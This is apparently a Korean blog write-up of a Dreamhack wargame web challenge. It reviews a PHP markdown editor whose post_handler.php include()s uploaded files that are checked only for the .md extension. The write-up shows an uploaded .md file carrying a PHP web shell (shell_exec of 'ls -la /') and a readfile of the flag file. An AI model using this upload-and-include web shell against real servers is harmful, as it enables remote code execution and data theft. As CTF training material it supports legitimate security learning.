https://dreamhack.io/wargame/challenges/1773
Pearfect Markdown
Description 실시간으로 마크다운을 수정해볼 수 있는 페이지입니다. 서비스의 취약점을 찾고 익스플로잇하여 플래그를 획득하세요! 플래그 형식은 DH{...} 입니다.
dreamhack.io
md 파일을 업로드 / 수정할 수 있는 웹 페이지의 취약점 찾기
웹 사이트에 들어가보자.
md 파일을 선택해서 업로드할 수 있고, 업로드한 md 파일을 수정할 수 있는 페이지다.
example.md를 클릭해서 해당 md 파일을 수정해보도록 하자.
그대로 save 버튼을 눌러보면 내가 수정한 정보값이 example.md 파일에 반영된 것을 확인할 수 있다.
서버 코드를 살펴보자.
code
● index.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Markdown Editor</title>
<link rel="stylesheet" href="css/styles.css">
<script src="https://cdn.jsdelivr.net/npm/marked/marked.min.js"></script>
</head>
<body>
<div class="container">
<h1>Upload and Edit Markdown Files</h1>
<form action="upload.php" method="post" enctype="multipart/form-data">
<label for="file">Choose Markdown file:</label>
<input type="file" name="file" id="file" accept=".md">
<input type="submit" value="Upload">
</form>
<div class="preview-container">
<h2>Example Markdown Preview</h2>
<div class="markdown-preview" id="preview"></div>
</div>
<?php
$uploads_dir = 'uploads/';
if ($handle = opendir($uploads_dir)) {
echo "<h2>Uploaded Files</h2><ul>";
while (false !== ($entry = readdir($handle))) {
if ($entry != "." && $entry != "..") {
echo "<li><a href='edit.php?file=" . urlencode($entry) . "'>" . htmlspecialchars($entry) . "</a></li>";
}
}
closedir($handle);
echo "</ul>";
}
?>
</div>
<script>
fetch('post_handler.php')
.then(response => response.text())
.then(data => {
document.getElementById('preview').innerHTML = marked.parse(data);
});
</script>
</body>
</html>
파일을 업로드할 수 있고, 만약 업로드 된 파일이 있다면 edit.php?file="파일명" 으로 이동할 수 있는 url이 제시된 메인 창이다.
<script> 부분을 보면
<script>
fetch('post_handler.php')
.then(response => response.text())
.then(data => {
document.getElementById('preview').innerHTML = marked.parse(data);
});
</script>
post_handler.php 파일에서 코드를 불러와서 fetch를 하고 있고, 그에 대한 결과값을 창에 띄우는 것을 볼 수 있다.
● save.php
<?php
$uploads_dir = 'uploads/';
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$file = $_POST['file'];
$content = $_POST['content'];
$path = realpath($uploads_dir . basename($file));
if (strpos($path, realpath($uploads_dir)) === 0 && file_exists($path)) {
file_put_contents($path, $content);
header('Location: edit.php?file=' . urlencode($file));
exit;
} else {
echo "Invalid file or file not found!";
}
} else {
echo "Invalid request method!";
}
?>
post 메소드로 들어오는 파일을 저장하는 코드
● post_handler.php
<?php
$uploads_dir = 'uploads/';
if ($_SERVER['REQUEST_METHOD'] === 'GET') { // get 메소드로 요청이 들어왔을 때
$file = $_GET['file'] ?? 'example.md'; // file이 없을 경우 example.md로 설정
$path = $uploads_dir . $file; // 파일 경로 설정 -> 예시로 uploads/example.md 이렇게
include($path); # include 메소드 -> 파일을 읽어서 실행하는 메소드
} else {
echo "Use GET method!!";
}
?>
get 메소드로 해당 경로(post_handler)에 요청이 들어올 경우, 쿼리문으로 들어온 파일 매개변수 입력값을 확인해서 만약 uploads 폴더에 존재하는 파일의 경우 include 메소드를 통해 파일을 읽은 후 실행하고 있다.
만약 악의적인 md 파일이 업로드되고 실행될 경우 웹 서버에 간섭할 수 있을 듯 하다.
● edit.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Edit Markdown File</title>
<link rel="stylesheet" href="css/styles.css">
<script src="https://cdn.jsdelivr.net/npm/marked/marked.min.js"></script>
</head>
<body>
<div class="container">
<h1>Edit Markdown File</h1>
<form action="save.php" method="post">
<textarea name="content" id="content" rows="20" cols="80"><?php
$uploads_dir = 'uploads/'; // uploads directory
if (isset($_GET['file'])) {
$file = $_GET['file'];
$path = realpath($uploads_dir . $file);
if (strpos($path, realpath($uploads_dir)) === 0 && file_exists($path)) {
echo htmlspecialchars(file_get_contents($path));
} else {
echo "Invalid file or file not found!";
}
} else {
echo "No file parameter provided!";
}
?></textarea>
<input type="hidden" name="file" value="<?php echo htmlspecialchars($_GET['file']); ?>">
<input type="submit" value="Save">
</form>
<div class="markdown-preview" id="preview"></div>
</div>
<script>
document.getElementById('preview').innerHTML = marked.parse(document.getElementById('content').value);
document.getElementById('content').addEventListener('input', function() {
document.getElementById('preview').innerHTML = marked.parse(this.value);
});
</script>
</body>
</html>
업로드한 파일을 수정할 수 있는 페이지
마찬가지로 딱히 사용자 입력값 및 파일에 대한 검증은 없어 보인다..
● upload.php
<?php
$uploads_dir = 'uploads/';
if ($_FILES['file']['error'] === UPLOAD_ERR_OK) {
$tmp_name = $_FILES['file']['tmp_name'];
$name = basename($_FILES['file']['name']);
if (pathinfo($name, PATHINFO_EXTENSION) === 'md') {
move_uploaded_file($tmp_name, "$uploads_dir/$name");
echo "File uploaded successfully!";
} else {
echo "Only .md files are allowed!";
}
} else {
echo "File upload error!";
}
?>
확장자에 대한 체크만 하고 있기 때문에, 만약 악의적인 입력값을 가진 md 파일이 업로드될 경우, 그대로 웹 사이트가 취약점에 노출될 수 있다.
Exploit
php의 include() 함수는 파일 확장자에 관계없이 파일 내의 php 태그(<?php ... ?>)가 있을 경우, 해당 태그 안의 스크립트 코드를 실행하게 된다.
즉, md 파일에 악의적인 php 코드를 삽입할 경우, 해당 파일이 include() 될 때 코드가 실행될 수 있다.
exploit.md 파일을 하나 생성해보자
<?php
echo "<pre>";
echo shell_exec('ls -la /');
echo "</pre>";
?>
일단 해당 웹 서버에 어떤 파일이 있는지 모르기 때문에 서버의 파일 리스트를 출력하는 웹 셸 코드를 작성한 뒤, 업로드해보자.
업로드 후, http://host1.dreamhack.games:11007/post_handler.php?file=exploit.md post_handler 사이트로 들어가보면
/ 경로에 무슨 파일들이 있는지 확인이 가능하다..
qeNSko1Mxxz8oeCOdlmHEK46vDOwOMKn_flag
이 파일이 수상해 보이니, 한번 파일 내용을 살펴보자.
<?php
readfile('/qeNSko1Mxxz8oeCOdlmHEK46vDOwOMKn_flag');
?>
md 파일을 바로 수정이 가능하기 때문에, edit 페이지에서 md 파일을 수정하고 저장한 뒤에 다시 post_handler 사이트로 들어가보도록 하자.
플래그 출력
'보안 > Web hacking' 카테고리의 다른 글
[Dreamhack] Simple Note Manager (0) | 2025.02.11 |
---|---|
[Dreamhack] Base64 based (0) | 2025.02.10 |
[Dreamhack] baby-jwt (0) | 2025.01.31 |
[Dreamhack] 삐리릭... 삐리리릭... (0) | 2025.01.30 |
[Dreamhack] Logical (0) | 2025.01.27 |